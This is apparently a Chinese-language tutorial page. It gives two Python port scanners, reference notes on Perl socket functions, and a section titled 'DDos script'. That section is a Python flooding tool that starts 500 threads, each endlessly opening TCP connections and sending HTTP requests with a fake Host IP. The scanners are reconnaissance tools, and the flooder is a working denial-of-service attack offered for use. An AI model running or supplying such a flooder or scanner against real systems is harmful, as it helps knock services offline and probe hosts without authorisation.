目录
端口扫描
DDos脚本
端口扫描
import socket
host="IP"
for port in range(49999,50001): #范围随便写
try:
s=socket.socket()
print("[+]connect to "+ host +':'+ str(port))
s.connect((host,port))
s.send("scan")
banner=s.recv(1024)
if banner:
print("[+] port"+str(port)+"open:\n"+banner)
s.close()
except :
pass
import socket
import threading
from queue import Queue
target="IP"
queue=Queue()
open_port=[]
def portscan(port):
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target,port))
return True
except:
return False
def fill_queue(port_list):
for port in port_list:
queue.put(port) #在队列中插入prot_list
def worker():
while not queue.empty(): #判断队列是否为空的,如果为空则返回true。
port=queue.get() #依次从队列中取出插入的元素
if portscan(port): #调用函数portscan(),依次传入0~1023的端口号
print("port {} is open!".format(port))
open_port.append(port)
port_list=range(1,1024)
fill_queue(port_list) #调用fill_queue(),依次插入元素0~1023
thread_list=[] #定义一个空列表
for t in range(10):
thread=threading.Thread(target=worker) #线程执行函数worker()
thread_list.append(thread)
for thread in thread_list:
thread.start() #线程开始执行
for thread in thread_list:
thread.join() #join方法将挂起调用线程的执行,直到被调用的对象完成它的执行。
print("open ports are:",open_port)
服务端 socket 函数
1.socket 函数
Perl 中,我们用 socket()函数来创建套接字,语法格式如下:
socket( SOCKET, DOMAIN, TYPE, PROTOCOL );
- DOMAIN 创建的套接字指定协议集。 例如:
AF_INET
表示IPv4网络协议AF_INET6
表示IPv6AF_UNIX
表示本地套接字(使用一个文件)
- TYPE 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM或SOCK_DGRAM
- PROTOCOL 应该是 (getprotobyname('tcp'))[2]。指定实际使用的传输协议。
2.bind() 函数
使用 bind() 为套接字分配一个地址:
bind( SOCKET, ADDRESS );
SOCKET 一个socket的描述符。 ADDRESS 是 socket 地址 ( TCP/IP ) 包含了三个元素:
- 地址簇 (TCP/IP, 是 AF_INET, 在你系统上可能是 2)
- 端口号 (例如 21)
- 网络地址 (例如 10.12.12.168)
使用socket()创建套接字后,只赋予其所使用的协议,并未分配地址。在接受其它主机
的连接前,必须先调用bind()为套接字分配一个地址。
3.listen() 函数
当socket和一个地址绑定之后,listen()函数会开始监听可能的连接请求。然而,这只能
在有可靠数据流保证的时候使用:
listen( SOCKET, QUEUESIZE );
SOCKET : 一个socket的描述符。
QUEUESIZE : 是 一个决定监听队列大小的整数,当有一个连接请求到来,就会进入此
监听队列;当一个连接请求被accept()接受,则从监听队列中移出;当队列满后,新的
连接请求会返回错误。
一旦连接被接受,返回0表示成功,错误返回-1。
4.accept() 函数
accept() 函数接受请求的socket连接。如果成功则返回压缩形式的网络地址,否则返回
FALSE:
accept( NEW_SOCKET, SOCKET );
NEW_SOCKET : 一个socket的描述符。
SOCKET : 一个socket的描述符。
accept() 通常应用在无限循环当中:
while(1) { accept( NEW_SOCKET, SOCKT ); ....... } 以上实例可以实时监听客户端的请求。
客户端函数
1.connect() 函数
connect()系统调用为一个套接字设置连接,参数有文件描述符和主机地址。
connect( SOCKET, ADDRESS );
DDos脚本
import socket
import threading
target='127.0.0.1'
port=50000
fake_ip='132.0.3.4'
# already_connected=0
def attack():
while True:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
s.sendto(("GET /"+target+"HTTP/1.1\r\n").encode('ascii'),(target,port))
s.sendto(("Host:"+fake_ip+"\r\n\r\n").encode('ascii'),(target,port))
s.close()
# global already_connected
# already_connected+=1
# if already_connected %500==0:
# print(already_connected)
for i in range(500):
thread=threading.Thread(target=attack) #线程执行方法接收的参数
thread.start() #启动线程,即让线程开始执行
一般情况下:
send(),recv()用于TCP,sendto()及recvfrom()用于UDP
但是send(),recv()也可以用于UDP,sendto()及recvfrom()也可以用于TCP
sendto可以在参数中指定发送的目标地址,可用于无连接的,send需要socket已建立了连接